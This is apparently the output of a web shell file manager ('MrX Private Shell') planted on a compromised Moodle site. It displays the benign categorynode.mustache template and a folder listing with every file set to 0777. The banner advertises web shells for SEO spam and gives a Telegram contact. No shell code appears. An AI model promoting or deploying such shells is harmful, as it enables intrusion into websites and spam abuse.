__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
{{!
This file is part of Moodle - http://moodle.org/
Moodle is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Moodle is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Moodle. If not, see <http://www.gnu.org/licenses/>.
}}
{{!
@template mod_lti/categorynode
Provides a template for the course categories tree view.
Classes required for JS:
* none
Data attributes required for JS:
* none
Context variables required for this template:
* id Course category ID.
* parent Course category parent ID.
* name Course category name.
* haschildren Course category has any sub-category - true/false.
Example context (json):
{
"id": "5",
"parent": "0",
"name": "Example 1",
"nodes": [{
"id": "6",
"parent": "5",
"name": "Sub category 1",
"nodes": [{
"id": "7",
"parent": "6",
"name": "Sub Sub category 1",
"nodes": [],
"haschildren": "0"
}],
"haschildren": "1"
},
{
"id": "8",
"parent": "5",
"name": "Sub category 2",
"nodes": [{
"id": "9",
"parent": "8",
"name": "Sub Sub category 2",
"nodes": [],
"haschildren": "0"
}],
"haschildren": "1"
},
{
"id": "593",
"parent": "5",
"name": "Sub category 3",
"nodes": [],
"haschildren": "1"
}
],
"haschildren": "1"
}
}}
{{^id}}
<div class="accordion modltitree" id="accordion">
{{/id}}
{{#nodes}}
{{#haschildren}}
<div class="accordion-group">
<div class="accordion-heading">
<input type="checkbox" class="lticoursecategories" id="cat-{{{id}}}" name="lticoursecategories" value="{{{id}}}">
<label for="cat-{{{id}}}">
<a class="accordion-toggle collapsed" data-toggle="collapse" data-parent="#accordion{{{id}}}" href="#collapse{{{id}}}" aria-expanded="true">
<span>{{{name}}}</span>
</a>
</label>
</div>
<div id="collapse{{{id}}}" class="accordion-body collapse">
<div class="accordion-inner">
<div class="accordion" id="accordion{{{id}}}">
{{>mod_lti/categorynode}}
</div>
</div>
</div>
</div>
{{/haschildren}}
{{^haschildren}}
<p>
<label for="cat-{{{id}}}">
<input type="checkbox" class="lticoursecategories" id="cat-{{{id}}}" name="lticoursecategories" value="{{{id}}}">
<span>{{{name}}}</span>
</label>
</p>
{{/haschildren}}
{{/nodes}}
{{^id}}
</div>
{{/id}}| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| cartridge_registration_form.mustache | File | 3.56 KB | 0777 |
|
| categorynode.mustache | File | 3.51 KB | 0777 |
|
| contentitem.mustache | File | 3.21 KB | 0777 |
|
| course_tools_page_header.mustache | File | 1.73 KB | 0777 |
|
| external_registration.mustache | File | 1.8 KB | 0777 |
|
| external_registration_return.mustache | File | 1.33 KB | 0777 |
|
| loader.mustache | File | 1.09 KB | 0777 |
|
| registration_upgrade_choice_page.mustache | File | 3.1 KB | 0777 |
|
| repost_crosssite.mustache | File | 1.41 KB | 0777 |
|
| tool_card.mustache | File | 6.38 KB | 0777 |
|
| tool_config_modal_body.mustache | File | 2 KB | 0777 |
|
| tool_config_modal_footer.mustache | File | 1.37 KB | 0777 |
|
| tool_configure.mustache | File | 3.93 KB | 0777 |
|
| tool_deeplinking_results.mustache | File | 1.68 KB | 0777 |
|
| tool_list.mustache | File | 1.23 KB | 0777 |
|
| tool_proxy_card.mustache | File | 4.62 KB | 0777 |
|
| tool_proxy_registration_form.mustache | File | 2.61 KB | 0777 |
|
| tool_type_capabilities_agree.mustache | File | 2.5 KB | 0777 |
|